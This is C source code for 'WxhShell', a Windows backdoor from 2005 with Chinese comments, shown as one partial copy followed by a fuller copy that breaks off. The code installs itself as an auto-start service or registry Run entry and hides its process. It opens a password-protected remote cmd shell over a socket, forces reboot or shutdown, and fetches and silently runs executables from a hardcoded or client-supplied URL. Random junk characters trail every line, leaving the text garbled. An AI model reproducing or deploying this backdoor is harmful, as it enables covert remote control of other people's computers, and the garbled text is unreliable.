    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); R3X{:1{j  
    if(Boot(SHUTDOWN)) sFDG)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); vJ`.iRU|  
    else { c '\SfW<  
    closesocket(wsh); )J(q49  
    ExitThread(0); U,Mx@KdV  
    } AddeaB5<  
    break; $Q+s/4\  
    } _P?\.W@  
  // 获取shell 90xk$3(  
  case 's': { C_LvZ=  
    CmdShell(wsh); O3o: qly!  
    closesocket(wsh); ggb |Ew  
    ExitThread(0); nNmsr=y5  
    break; 26n^Dy>}  
  } *U l*%!?D  
  // 退出 s4H2/EC  
  case 'x': { \.gEh1HW  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5HS~op2n/  
    CloseIt(wsh); @uH#qg7  
    break; FP"$tt(  
    } V,ZY*f0  
  // 离开 JmpsQ,,  
  case 'q': { ,572n[-q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); VzlDHpG  
    closesocket(wsh); b @;.F!x  
    WSACleanup(); H g5++.Bp  
    exit(1); vf~`eT  
    break; c3 &m9zC  
        } q1k{  
  } eX l=i-'  
  } 'YSuQP>  
qO`qJ/  
  // 提示信息 jQj,q{eA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v$w++3H  
} !Ngw\@f  
  } y~<@x.  
%1:chvS  
  return; 7k=fZ$+O  
} mE#nU(+Ta  
2)/NFZ  
// shell模块句柄 dX )W0  
int CmdShell(SOCKET sock) $1*3!}_0  
{ *9gD*AnM,  
STARTUPINFO si; 7]2 2"mc  
ZeroMemory(&si,sizeof(si)); K6pR8z*?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1x >iz `A  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $;D* n'8Fx  
PROCESS_INFORMATION ProcessInfo; v@u<Ww;=@  
char cmdline[]="cmd"; msk/p>{O  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gX} g  
  return 0; {8NwFN.  
} Ygkv7>?,  
yFpySvj }  
// 自身启动模式 )fh0&Y; R  
int StartFromService(void) E,*&BDW  
{ xX@FWAj  
typedef struct &/ ouW'oP  
{ r[HT9  
  DWORD ExitStatus; ?~2Bi^W5  
  DWORD PebBaseAddress; E8/rZ~0O~  
  DWORD AffinityMask; E8-53"m  
  DWORD BasePriority; V,LVB_6  
  ULONG UniqueProcessId; R,Ml&4pZ}  
  ULONG InheritedFromUniqueProcessId; @"1}16b#f  
}   PROCESS_BASIC_INFORMATION; bsO@2NP'  
WD?Jk9_F  
PROCNTQSIP NtQueryInformationProcess; yr4ou  
lfS;?~W0k  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |Cf mcz(56  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; LV.&>@*  
:)P<jX-G  
  HANDLE             hProcess; |< N frz  
  PROCESS_BASIC_INFORMATION pbi; 4MX7=!E  
1!/-)1t  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); AMk~dzNt  
  if(NULL == hInst ) return 0; dERc}oAh(  
="B n=>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 6An{3 "  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); }aZr ou3E  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #?m{YT{P  
~n]NyVFP  
  if (!NtQueryInformationProcess) return 0; G?[-cNdk  
.3g&9WvN!Z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); MFTC6L+T  
  if(!hProcess) return 0; +k rFB?>`  
N5\{yV21",  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; v&2+'7]w r  
k5X b}@  
  CloseHandle(hProcess); #>q[oie1e  
dzxI QlP  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |#cAsf_{  
if(hProcess==NULL) return 0; n2E4!L|q  
MOLO3?H(  
HMODULE hMod; -kc(u1!  
char procName[255]; Dqr9Vv  
unsigned long cbNeeded; q u:To7  
I{<;;;a  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]Wy.R6  
,TJ/3_lH  
  CloseHandle(hProcess); ^^ j/  
h60\ Y 8  
if(strstr(procName,"services")) return 1; // 以服务启动 \-G5l+!  
MHNe>C-!q  
  return 0; // 注册表启动 =~$U^IsWA  
} U6a z hi&,  
+_-Y`O!Q  
// 主模块 gA"<MI'y  
int StartWxhshell(LPSTR lpCmdLine) r\bq[9dX>  
{ y&3TQ]f\  
  SOCKET wsl; i^/Di Wdyf  
BOOL val=TRUE; kDg{ >mf  
  int port=0; ^#7viZ*  
  struct sockaddr_in door; b.,$# D{p  
xBt<Yt"  
  if(wscfg.ws_autoins) Install(); b_l.QKk  
J 5- rp|  
port=atoi(lpCmdLine); =<>pKQ)[  
jDJ.  
if(port<=0) port=wscfg.ws_port; 2| $k`I,  
>eu `!8  
  WSADATA data; :SQ LfOQ  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; XX:q|?6_ 4  
v2(U(Tt  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   R;.d/U|av  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ,NDxFy;d  
  door.sin_family = AF_INET; ha5 bD%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); RAdvIIQp:  
  door.sin_port = htons(port); dJaEoF  
-t%L#1k  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Xv8fPP(  
closesocket(wsl); ~X[S<Gi#  
return 1; V!H(;Tuuo  
} 6,a%&1_  
OM1*Iy  
  if(listen(wsl,2) == INVALID_SOCKET) { E+:.IuXW$  
closesocket(wsl); 17|@f  
return 1; M,ppCHy/$  
} P~o@9RV-  
  Wxhshell(wsl); N*HH,m&  
  WSACleanup(); #fO*ROe  
d RHlx QUn  
return 0; j,Pwket  
HKM~BL "X  
} oEN)Dw o  
OA!R5sOz"  
// 以NT服务方式启动 }FHw" {my  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) @pTD{OW?  
{ K* 0 aXr?  
DWORD   status = 0; i1tVdbC]  
  DWORD   specificError = 0xfffffff; u mqLKf=x!  
>7"$}5d  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Q%+ }  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `Fz\wPd  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~:2&/MOP?  
  serviceStatus.dwWin32ExitCode     = 0; ]sf2"~v  
  serviceStatus.dwServiceSpecificExitCode = 0; OTnu{<.a  
  serviceStatus.dwCheckPoint       = 0; U.HoFf+HN  
  serviceStatus.dwWaitHint       = 0; OiYNH~hv  
z|Hy>|+  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G`9cd\^  
  if (hServiceStatusHandle==0) return; 'y'T'2N3  
"w(N62z/  
status = GetLastError(); xX[?L9RGz  
  if (status!=NO_ERROR) ROPC |  
{ jB5>y&+  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; @TdQZZ}G\x  
    serviceStatus.dwCheckPoint       = 0; I/oIcQS!k  
    serviceStatus.dwWaitHint       = 0; V h Z=,m  
    serviceStatus.dwWin32ExitCode     = status; J'I1,5(  
    serviceStatus.dwServiceSpecificExitCode = specificError; %~][?Y ><  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); a v'd%LZP  
    return; W`w5jk'0^=  
  } unCt4uX^  
-iY9GN89c  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; #;5[('&[  
  serviceStatus.dwCheckPoint       = 0; R;0W+!fE  
  serviceStatus.dwWaitHint       = 0; ?BWHr(J  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); P%.`c?olbs  
} 3'?h;`v\Lo  
PN1(j|  
// 处理NT服务事件,比如:启动、停止 %bCcsdK  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 73&]En  
{ * i=?0M4S  
switch(fdwControl) 9 Q0#We*  
{ #[gcg]6c  
case SERVICE_CONTROL_STOP: &&]"Y!r -  
  serviceStatus.dwWin32ExitCode = 0; h5LJij J  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; z*Myokhf  
  serviceStatus.dwCheckPoint   = 0; ?)Tz'9l  
  serviceStatus.dwWaitHint     = 0; *,O :>Z5I  
  { kS@9c _3S  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZcUh[5:|  
  } Paae-EmC  
  return; 2(+RIu0d  
case SERVICE_CONTROL_PAUSE: )![f\!'PI  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; t!J";l  
  break; s[0prm5.  
case SERVICE_CONTROL_CONTINUE: &Iv\jhq  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; fK)ZJ_?w,@  
  break; ZTQ$Ol+{ q  
case SERVICE_CONTROL_INTERROGATE: w,M1`RsK  
  break; c7FfI"7HR  
}; t-v^-#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); (hhdbf  
} #U?EOm  
gE-w]/1zD5  
// 标准应用程序主函数 "@c';".|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) adRNrt*!  
{ x?k  
/7UovKKbz  
// 获取操作系统版本 ?:#>^eWYe7  
OsIsNt=GetOsVer(); (5f5P84x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q9Y9{T  
8>%jZ%`a  
  // 从命令行安装 .LeF|EQU\@  
  if(strpbrk(lpCmdLine,"iI")) Install(); "6`)vgI~  
~>Hnf_pZO  
  // 下载执行文件 g(@$uJ  
if(wscfg.ws_downexe) { u7WTSL%  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) +(QMy&DtS  
  WinExec(wscfg.ws_filenam,SW_HIDE); Xa?6#  
} =`7#^7Q9  
V'HlAQr  
if(!OsIsNt) { ;y?D1o^r8W  
// 如果时win9x,隐藏进程并且设置为注册表启动 aIn)']  
HideProc(); h+zkVRyA  
StartWxhshell(lpCmdLine); Pv{,aV\I}  
} 'y+bx?3Z  
else %U=S6<lbj;  
  if(StartFromService()) fwnYzd3  
  // 以服务方式启动 i#M a -0#  
  StartServiceCtrlDispatcher(DispatchTable); 2-c U -i4  
else B>p0FQ.  
  // 普通方式启动 ={mPg+Ei'  
  StartWxhshell(lpCmdLine); W[1f]w3  
T;4gcJPn"M  
return 0; ig.6[5a\  
} :N+#4rtgUY  
0w'y#U)&8  
UuOLv;v  
JT.\f,z&  
=========================================== 'sjJSc  
\ ]kb&Qw  
[F AOp@7W  
Il&"=LooZ  
)]>i >  
(Qh7bfd  
" 7n\j"0z  
X#Dhk6  
#include <stdio.h> y-)+I<M  
#include <string.h> FB =  
#include <windows.h> :,}:c%-^"  
#include <winsock2.h> FkxhEat8  
#include <winsvc.h> @E"+qPp.3  
#include <urlmon.h> X>@.-{6T  
lU50.7<08  
#pragma comment (lib, "Ws2_32.lib") mtWx ?x  
#pragma comment (lib, "urlmon.lib") f_5R!;  
r"u(!~R  
#define MAX_USER   100 // 最大客户端连接数 .X<"pd*@e  
#define BUF_SOCK   200 // sock buffer tO+%b=Z^  
#define KEY_BUFF   255 // 输入 buffer jB/q1vFO  
MMxoKL  
#define REBOOT     0   // 重启 I 3zitI;  
#define SHUTDOWN   1   // 关机 U+RCQTo  
6ImV5^l  
#define DEF_PORT   5000 // 监听端口 &h4Z|h[01  
iz  GaV[  
#define REG_LEN     16   // 注册表键长度 wkZ2Y-#='  
#define SVC_LEN     80   // NT服务名长度 /P8eI3R  
A]SB c2   
// 从dll定义API MBYD,v&  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |Qt`p@W  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); *l?% o{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); l~6SR  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);  ]O9f"cj  
Uhx2 _  
// wxhshell配置信息 4Tzu"y  
struct WSCFG { )r|zi Z{F  
  int ws_port;         // 监听端口 *(SBl}f4l  
  char ws_passstr[REG_LEN]; // 口令 x]d"|jmVZ  
  int ws_autoins;       // 安装标记, 1=yes 0=no *}iT6OJ  
  char ws_regname[REG_LEN]; // 注册表键名 (27F   
  char ws_svcname[REG_LEN]; // 服务名 TaHi+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 r+#V{oE_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 @n;YF5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @%@^5  
int ws_downexe;       // 下载执行标记, 1=yes 0=no f?<M3P  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" -WW!V(~p  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bQN4ozSi  
g`8 mh&u%  
}; J0WXH/:  
QsF<=b~  
// default Wxhshell configuration )J6b:W  
struct WSCFG wscfg={DEF_PORT, VQNH@g^gqr  
    "xuhuanlingzhe", l<K.!z<-:8  
    1, mlw BATi  
    "Wxhshell", . ;@) 5"  
    "Wxhshell", fm:{&(  
            "WxhShell Service", cp?P@-  
    "Wrsky Windows CmdShell Service", nu9k{owB T  
    "Please Input Your Password: ", uy-Ncy  
  1, ]jY)M<:J4  
  "http://www.wrsky.com/wxhshell.exe", <sFf'W_3{  
  "Wxhshell.exe" ieF 0<'iF  
    }; j83Y'VJJC  
fu "z%h]   
// 消息定义模块 \w_[tPz}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; r`g;k&"a  
char *msg_ws_prompt="\n\r? for help\n\r#>"; x w83K  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ?'#;Y"RT  
char *msg_ws_ext="\n\rExit."; *U^I `j[u  
char *msg_ws_end="\n\rQuit."; -Jrc'e4K  
char *msg_ws_boot="\n\rReboot..."; `V_/Cz_}D  
char *msg_ws_poff="\n\rShutdown..."; 3Co>3d_  
char *msg_ws_down="\n\rSave to "; S_-mmzC(  
GQ)cUrXQz  
char *msg_ws_err="\n\rErr!"; :Du{8rV  
char *msg_ws_ok="\n\rOK!"; vHe.+XY  
cWy0N  
char ExeFile[MAX_PATH]; N)y;owgo  
int nUser = 0; )3\rp$]1  
HANDLE handles[MAX_USER]; zw9ULQ$#  
int OsIsNt; h?tV>x/Fu  
3:Egqw  
SERVICE_STATUS       serviceStatus; daJ-H  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; CrX-?$  
os ud  
// 函数声明 .7Bav5 ;  
int Install(void); I,?LZ_pK  
int Uninstall(void); 2m}]z.w#  
int DownloadFile(char *sURL, SOCKET wsh); Yy~Dg  
int Boot(int flag); .z7f_KX^  
void HideProc(void); vjWgR9 4/{  
int GetOsVer(void); evk <<zi  
int Wxhshell(SOCKET wsl); (8F?yBu  
void TalkWithClient(void *cs); U]&%EqLS  
int CmdShell(SOCKET sock); dM.Ow!j  
int StartFromService(void); B>L^XGq  
int StartWxhshell(LPSTR lpCmdLine); iv`-)UsE  
T js{ )r9  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *hgsS~  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); md_s2d  
1:V/['|*g)  
// 数据结构和表定义 Raqr VC  
SERVICE_TABLE_ENTRY DispatchTable[] = l%w|f`B:  
{ t?&ajh  
{wscfg.ws_svcname, NTServiceMain}, P9~kN|  
{NULL, NULL} |EU08b]P29  
}; .SFwjriZ  
~t$VzL1  
// 自我安装 2!`Z3>Oa  
int Install(void) M/ \~  
{ :9>nY  
  char svExeFile[MAX_PATH];  %tjEVQa  
  HKEY key; wQ95tN  
  strcpy(svExeFile,ExeFile); $(hZw  
wIPDeC4  
// 如果是win9x系统,修改注册表设为自启动 !2,.C+,  
if(!OsIsNt) { LDNUywj@w  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Y*Rqgpu $  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); EH%j$=@X  
  RegCloseKey(key); N* QI>kzU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C_;6-Q%V  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z}|'&O*.F  
  RegCloseKey(key); v7RDoO]I  
  return 0; /;J;,G`?  
    } [:Y^0[2  
  } ttOsL')|  
} ={d\zjI$  
else { 6 >2! kM7  
IrK )N  
// 如果是NT以上系统,安装为系统服务 ng\S%nA&J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); e<pojb1Q  
if (schSCManager!=0) ^B>6 !  
{ VzNH%  
  SC_HANDLE schService = CreateService T!AQJ:;1  
  ( q2Dg~et  
  schSCManager, "^%Il  
  wscfg.ws_svcname, #YV;Gp(2h  
  wscfg.ws_svcdisp, epePx0N%x$  
  SERVICE_ALL_ACCESS, UJ+JVj   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , GQQ6 t  
  SERVICE_AUTO_START, Si(?+bda0c  
  SERVICE_ERROR_NORMAL, -8: @xG2  
  svExeFile, e!y t<[ph  
  NULL, a7R7Ks|q  
  NULL, auU{I y   
  NULL, +-i@R%  
  NULL, ~5zhK:7c  
  NULL  +yk>jx  
  ); mD:!"h/  
  if (schService!=0) USY^ [@o[f  
  { mv_-|N~  
  CloseServiceHandle(schService); tVwN92*J  
  CloseServiceHandle(schSCManager); YrX{,YtiX  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); v,! u{QP  
  strcat(svExeFile,wscfg.ws_svcname); =>Efrma  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { O@VmV>m  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); qIl@,8T  
  RegCloseKey(key); ]v@,>!Wn  
  return 0; >ZT3gp?E  
    } psBBiHB[L  
  } }T@AoIR0t  
  CloseServiceHandle(schSCManager); Gbhaibk O  
} U-d&q>_@A  
} u&:jQ:[  
p}\!"&,^m  
return 1; 43YusUv  
} u=5^xpI<D  
9 (Z)c  
// 自我卸载 BC3I{Y |  
int Uninstall(void) <_}u5E)7(  
{ '?nhpT^  
  HKEY key; 3z#16*  
!Wk "a7  
if(!OsIsNt) { '-et:Lv7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ag-*DH0  
  RegDeleteValue(key,wscfg.ws_regname); b^1!_1c  
  RegCloseKey(key); MC3{LVNK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _nF_RpS  
  RegDeleteValue(key,wscfg.ws_regname); zc_3\N  
  RegCloseKey(key); is,_r(S  
  return 0; +Z+]Tqo  
  } JyV"jL   
} gs'( px  
} 5_PD ?lg  
else { 3j6$!89'  
&( Z8G~h4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); &WIPz\  
if (schSCManager!=0) /Bc ;)~  
{ K.k=\N  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); )%0#XC^/X5  
  if (schService!=0) 8"? t6Z;5  
  { y3l sAe#  
  if(DeleteService(schService)!=0) { #R &F  
  CloseServiceHandle(schService); zKR_P{W>^  
  CloseServiceHandle(schSCManager); (RQ kwu/  
  return 0; Pm-@ZZ~  
  } hTF]-& hZ  
  CloseServiceHandle(schService); ^z_~e@U  
  } yzYPT}t  
  CloseServiceHandle(schSCManager); arnu|paw  
} ,+f'%)s_x  
} =6ojkTk  
ZJS7#<-7o  
return 1; 6j0!$q^  
} Av{1~%hU  
jGId)f!)  
// 从指定url下载文件 &uC7W.|  
int DownloadFile(char *sURL, SOCKET wsh) ^;M!u8[  
{ \S _ycn  
  HRESULT hr; 7 'N&jI   
char seps[]= "/"; YOqBIbp~&)  
char *token; uSH.c>  
char *file; 8^2Q ~{i  
char myURL[MAX_PATH]; -(dc1?COi  
char myFILE[MAX_PATH]; wTG6>l]H  
26j ; RV  
strcpy(myURL,sURL); EP*"=_  
  token=strtok(myURL,seps); )jvYJ9s  
  while(token!=NULL) 4~DoqT  
  { cl[rgj  
    file=token; //xxSk  
  token=strtok(NULL,seps); d(<[$ 3.  
  } oJEind>8O  
!CUrpr/*  
GetCurrentDirectory(MAX_PATH,myFILE); rF'q\tJDz  
strcat(myFILE, "\\"); y]+q mNw"+  
strcat(myFILE, file); 4vF1  
  send(wsh,myFILE,strlen(myFILE),0); XI@;;>D1=U  
send(wsh,"...",3,0); ,iV|^]X3$/  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); *Mk5*_  
  if(hr==S_OK) s:CsUl|  
return 0; Y<odXFIS  
else "{Lp'+wNw  
return 1; Xi$2MyRd  
[BWA$5D)Ny  
} edD19A  
O8qA2@,  
// 系统电源模块 { HHc} 8  
int Boot(int flag) f5'Cq)Vw_  
{ _XvSe]`f`  
  HANDLE hToken; A&XI1. j6  
  TOKEN_PRIVILEGES tkp; ?hHVawt  
=f4>vo}@k  
  if(OsIsNt) { $DBJ"8n2  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); P :zZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); WKek^TW4HE  
    tkp.PrivilegeCount = 1; &?59{B. mD  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; KPTp91  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); +es|0;Z4yP  
if(flag==REBOOT) { =MMU(0 E  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;hzm&My  
  return 0; u)J&3Ah%  
} 6ZKSet8  
else { `3GYV|LeQ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4C m+xAXG  
  return 0; l7vU{Fd-h^  
} I8M^]+c  
  } xYSNop3_  
  else { 4TX~]tEyky  
if(flag==REBOOT) { Y~,ZBl,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) O7,)#{  
  return 0; PLoD^3uG)  
} |%\>+/j$  
else { N #C,q&;  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) n06T6oc  
  return 0; m6+4}=Cn  
} Lgr(j60s  
} !I)wI~XF)5  
zw ,( kv  
return 1; \+,%RN.  
} a]NH >d  
s[2>r#M  
// win9x进程隐藏模块 V d`}F0WD  
void HideProc(void) jc0Trs{Jf  
{ q/qJkr^2  
Wks?9 )Is  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); LeEv']  
  if ( hKernel != NULL ) D^dos`L0b  
  { U]Pl` =SL  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V;@kWE>3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &[#iM0;)W0  
    FreeLibrary(hKernel); @T 5dPmn  
  } n=_jmR1  
 iup "P  
return; S:F8` Gh  
} 6O@/Y;5i  
jVdRy{MH  
// 获取操作系统版本 `514HgR  
int GetOsVer(void) 3OZu v};k  
{ .G/>X%X  
  OSVERSIONINFO winfo; I_"Kh BM  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); A,fPl R  
  GetVersionEx(&winfo); -mfdngp3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SJ0IEPk  
  return 1; %Eq4>o?D  
  else |i~Ab!*8n  
  return 0; F4X0DRC,G  
} P&kjtl68 Y  
7%` \E9t  
// 客户端句柄模块 +-$Hx5  
int Wxhshell(SOCKET wsl) 1w~@'ZyU  
{ qvHRP@  
  SOCKET wsh; MGbl-,]  
  struct sockaddr_in client; f%gdFtJ &  
  DWORD myID; qPH=2k ,H  
.5AyB9a%&  
  while(nUser<MAX_USER) ;l$F<CzJay  
{ t^')ST  
  int nSize=sizeof(client); C]01(UoSZ  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); r5wy]z^  
  if(wsh==INVALID_SOCKET) return 1; 0x1#^dII  
Tm) (?y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); $C^tZFq  
if(handles[nUser]==0) aePLP  
  closesocket(wsh); 5vSJjhS  
else +=o?&  
  nUser++; 6 {j}Z*)m  
  } N*$L#L$*  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Nk ~"f5q7  
/&jh10}H  
  return 0; +$SJ@IH[<  
} *= ;M',nx  
[OU[i(,{  
// 关闭 socket r0'6\MS13  
void CloseIt(SOCKET wsh) 1;FtQnvH  
{ *;u'W|"/~  
closesocket(wsh); <RaUs2Q3.  
nUser--; :`X!no; {  
ExitThread(0); B{6wf)[O  
} a?K3/0G  
Bkaupvv9S  
// 客户端请求句柄 E|~)"=  
void TalkWithClient(void *cs) PN"s ^]4  
{ i"Z  
f8JWg9 m  
  SOCKET wsh=(SOCKET)cs; ?P>3~3 B  
  char pwd[SVC_LEN]; 7,BULs\g  
  char cmd[KEY_BUFF]; @SX-=Nr  
char chr[1]; 9Z!|oDP-  
int i,j; eWw# T^  
)Bo]+\2  
  while (nUser < MAX_USER) { HCIS4}lQ  
#*|Gp_l+%  
if(wscfg.ws_passstr) { wUJ>?u9  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [,?5}'we  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); *k^'xL  
  //ZeroMemory(pwd,KEY_BUFF); d:&=|kKw  
      i=0; aEvW<jHh  
  while(i<SVC_LEN) { q:a-tdv2  
j.:I{!R#  
  // 设置超时 15dbM/Gj  
  fd_set FdRead; (5\VOCT>4%  
  struct timeval TimeOut; - :~"c@D  
  FD_ZERO(&FdRead); _i@4R<  
  FD_SET(wsh,&FdRead); \&#IK9x{  
  TimeOut.tv_sec=8; 4Uzx2   
  TimeOut.tv_usec=0; glI4Jb_[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Q*K31Ln  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 0CR~ vQf#r  
^=.QQo||B  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /OtLIM+7~{  
  pwd=chr[0]; yNDplm|9*  
  if(chr[0]==0xd || chr[0]==0xa) { TRzL":  
  pwd=0; <l!{j?Kx  
  break; Ef2i#BoZ  
  } Zog&:]P'F  
  i++; :ND e<6?u  
    } )1iqM]~;B  
e?yrx6  
  // 如果是非法用户,关闭 socket J2avt  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pr.+r?la]  
} %k =c9ll@:  
-.t/c}a#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 8D:0Vhx\I  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;&OVV+y  
Ra)AQ n  
while(1) { ,9YgznQ  
#Mm1yXNu  
  ZeroMemory(cmd,KEY_BUFF); ["N_t:9I  
k\<8h%  
      // 自动支持客户端 telnet标准    eo&^~OVT  
  j=0; t`Lh(`  
  while(j<KEY_BUFF) { _2~+%{/m,  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U-:"Wx%G  
  cmd[j]=chr[0]; ?,  m_q+  
  if(chr[0]==0xa || chr[0]==0xd) { M'5PPBSR  
  cmd[j]=0; 35 d:r:  
  break; FXG,D J:  
  } PUbfQg  
  j++; PFI^+';  
    } 6R#.AD\  
34c+70x7  
  // 下载文件 ;|r<mT/,  
  if(strstr(cmd,"http://")) { B1 Y   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); c0f8*O4i  
  if(DownloadFile(cmd,wsh)) Wf{&D>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +. tcEbFL  
  else ZO8r8 [  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >41K>=K  
